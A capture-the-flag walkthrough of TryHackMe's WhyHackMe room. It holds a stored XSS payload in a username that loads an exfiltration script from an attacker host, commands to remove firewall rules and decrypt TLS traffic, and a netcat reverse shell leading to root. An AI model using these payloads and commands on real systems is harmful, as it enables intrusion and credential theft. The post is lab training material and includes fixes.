mintshell
VI

WhyHackMe: Stored XSS in a Username Field Exfiltrates Credentials, TLS Key Decrypts a Hidden Webshell to Root

A stored XSS in the username field exfiltrates localhost-restricted credentials, then TLS key recovery decrypts a pcap to find a webshell that leads to root.

Platform
TryHackMe
Room
WhyHackMe(external link)
Difficulty
Medium
Vulnerabilities
stored cross-site scripting, anonymous ftp write access, insecure sudo configuration, tls private key exposure, firewall misconfiguration
7 min read

A walkthrough of TryHackMe’s WhyHackMe room. A stored XSS vulnerability in the username field — where the comment body is HTML-encoded but the username is not — lets us exfiltrate credentials accessible only from localhost. We pivot through SSH, manipulate firewall rules to expose a blocked port, recover a TLS private key to decrypt captured traffic, discover a webshell, and escalate from www-data with NOPASSWD ALL to root.

Flags and credentials are redacted. WhyHackMe is an authorized training room on TryHackMe; everything here was performed against a legal practice target. Values shown as <redacted> are real on the box but withheld here.


TL;DR — the whole chain

TL;DR

Anonymous FTP access leaks update.txt revealing credentials at /dir/pass.txt — accessible only from localhost. The blog’s comment section encodes the comment body but not the username, creating a stored XSS vulnerability. We register a user with a JavaScript payload as the username, post a comment, and when the admin bot visits the page, the XSS fires and exfiltrates /dir/pass.txt via base64-encoded image requests. The decoded credentials grant SSH access as jack. Jack can run iptables with sudo — we unblock port 41312 (a hidden HTTPS service). A pcap file and urgent note in /opt describe a previous breach. We recover the TLS private key from Apache’s config, decrypt the pcap in Wireshark, and find a webshell. Through the webshell we get a reverse shell as www-data, who has NOPASSWD ALL sudo privileges → root.

The target

export IP=<target-ip>

A full port scan reveals four services:

PORT      STATE    SERVICE VERSION
21/tcp    open     ftp     vsftpd 3.0.3
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu
80/tcp    open     http    Apache httpd 2.4.41
41312/tcp filtered unknown

FTP allows anonymous login. HTTP serves a simple blog with login, registration, and a comment section. Port 41312 is filtered — blocked by a firewall rule we’ll deal with later.

The vulnerability: stored XSS via the username field

Insight

The blog’s comment section at /blog.php HTML-encodes the comment body (< → &lt;), but renders the commenter’s username directly into the page without any encoding or sanitization. Since we control the username at registration time, we can inject arbitrary JavaScript that fires every time someone views the comments — classic stored XSS.

The admin bot visits the blog regularly (“I check every post”), making this a reliable trigger for exfiltration.

Step 1 — FTP anonymous access and the update.txt hint

Anonymous FTP login reveals a single file:

ftp -A $IP
# anonymous login → 230 Login successful
get update.txt

The file reads:

Hey I just removed the old user mike because that account was compromised
and for any of you who wants the creds of new account visit
127.0.0.1/dir/pass.txt and don't worry this file is only accessible by
localhost(127.0.0.1), so nobody else can view it except me or people
with access to the common account.
- admin

Key takeaway: /dir/pass.txt holds valid credentials but is restricted to localhost access. We need a way to fetch it from the server’s perspective.

Step 2 — confirm the XSS vector via the username field

Directory enumeration with Gobuster finds /blog.php, /login.php, /register.php, and a /dir directory (403 forbidden — confirming the localhost restriction).

The comment body is HTML-encoded, so injecting <script> tags there fails:

<br><h2>Name: test<br>Comment: &lt;script&gt;alert(1);&lt;/script&gt;</h2><br>

But registering a user with <script>alert(1);</script> as the username, then posting any comment, proves the XSS fires — the username is rendered unsanitized.

Step 3 — exfiltrate /dir/pass.txt via XSS

We adapt a TrustedSec data exfiltration script that:

  1. Makes an XHR GET request to /dir/pass.txt (from the admin’s localhost context)
  2. Base64-encodes the response
  3. Exfiltrates it in chunks via Image() requests to our web server

Host the script on our attacker machine:

python3 -m http.server 9000

Register a new user with the payload as the username:

<script src=http://$ATTACKER_IP:9000/exfil.js></script>

Log in with this account, post a comment on /blog.php (intercepting with Burp Suite to avoid self-triggering the XSS), and wait. When the admin bot visits:

10.x.x.x - - "GET /exfil.js HTTP/1.1" 200 -
10.x.x.x - - "GET /exfil/LAST/<base64-chunk>.jpg HTTP/1.1" 404 -

Decode the base64 from the request path:

echo '<base64-chunk>' | base64 -d
# → jack:<redacted>

We now have SSH credentials for jack.

Step 4 — SSH as jack and initial enumeration

ssh jack@$IP
# password: <redacted>
cat ~/user.txt
# → <redacted>

Enumeration as jack reveals:

  • sudo -l: jack can run /usr/sbin/iptables as root
  • /opt/capture.pcap: a network capture from a previous breach
  • /opt/urgent.txt: explains that files were placed in /usr/lib/cgi-bin/ by an attacker, and port 41312 was blocked via iptables as a temporary fix
  • /usr/lib/cgi-bin/: owned by group h4ck3d, not accessible to jack

Step 5 — unblock port 41312 with sudo iptables

The iptables rules show port 41312 is explicitly dropped:

sudo /usr/sbin/iptables -L --line-numbers
# Chain INPUT:
# 1  DROP  tcp  --  anywhere  anywhere  tcp dpt:41312

Remove the block and allow the port:

sudo /usr/sbin/iptables -D INPUT 1
sudo /usr/sbin/iptables -I INPUT -p tcp --dport 41312 -j ACCEPT

Nmap confirms the port is now open — running Apache HTTPS:

nmap -sC -sV -p 41312 $IP
# 41312/tcp open http Apache httpd 2.4.41
# Service Info: Host: www.example.com

Step 6 — recover the TLS key and decrypt the pcap

The pcap traffic on port 41312 is TLS-encrypted. The Apache config reveals the private key location:

cat /etc/apache2/sites-available/000-default.conf
# SSLCertificateKeyFile /etc/apache2/certs/apache.key

The key is world-readable:

ls -al /etc/apache2/certs/apache.key
# -rw-r--r-- 1 root root 3272 ...

Download it via SCP or a temporary Python HTTP server. Import into Wireshark:

Edit → Preferences → TLS → RSA keys list → Edit → add the key for the target IP on port 41312.

After decryption, filtering by HTTP reveals requests to a webshell in /cgi-bin/ on port 41312.

Step 7 — webshell to root

Access the webshell via HTTPS on port 41312. Use it to spawn a reverse shell:

nc -lvnp 4444
# → connect from target
# uid=33(www-data) gid=1003(h4ck3d) groups=1003(h4ck3d)

Upgrade the shell and check sudo privileges:

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z → stty raw -echo;fg

sudo -l
# User www-data may run the following commands:
#   (ALL : ALL) NOPASSWD: ALL

www-data has unrestricted passwordless sudo — escalate to root:

sudo su root
cat /root/root.txt
# → <redacted>

Impact

Critical

High — CVSS 3.1 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H). The chain requires minimal user interaction (the admin bot’s automated page visit) and leads to full system compromise:

  • Stored XSS — arbitrary JavaScript execution in the admin’s browser session, enabling data exfiltration from localhost-restricted resources.
  • Credential theft — SSH credentials exfiltrated from a file the developers assumed was safe behind a localhost restriction.
  • TLS private key exposure — world-readable key file allows decryption of all past and future traffic on port 41312.
  • Full root compromise — the attacker’s webshell runs as www-data with unrestricted sudo, granting complete system control.

Fix

  1. Sanitize all user-controlled output. HTML-encode usernames at render time just like comment bodies. Output encoding must apply to every user-controlled value, not just the obvious ones.
  2. Don’t rely on localhost restrictions for sensitive files. /dir/pass.txt was one XSS away from public. Store credentials in a proper secret manager or at minimum require authentication.
  3. Restrict TLS private key permissions. chmod 600 and owned by root:ssl-cert. A world-readable private key defeats the purpose of encryption entirely.
  4. Remove the webshell and audit cgi-bin. The attacker’s backdoor was left in place with only a firewall rule as mitigation — a rule any user with sudo iptables could remove.
  5. Principle of least privilege for sudo. Neither iptables for jack nor NOPASSWD: ALL for www-data should exist in production.

Takeaways

  • XSS isn’t just about the comment box. Any user-controlled value that reaches the DOM — usernames, profile fields, filenames — is a potential injection point. Encode everything at render time.
  • Localhost ≠ secure. A server-side request from an XSS payload runs in the victim’s browser context, which sees the server as localhost. Localhost restrictions only stop direct external access, not XSS-driven requests.
  • Encrypted traffic is only as safe as the key. A world-readable TLS private key means every packet is effectively plaintext to anyone on the box.
  • Temporary mitigations become permanent attack surface. A blocked port with a note saying “fix this later” is a ticking clock — especially when users have sudo access to the firewall.

Thanks for reading. WhyHackMe is a satisfying chain that links a subtle XSS vector, localhost-restricted credential exfiltration, traffic decryption, and a leftover webshell into a full root compromise — a reminder that “defense in depth” only works when every layer actually holds.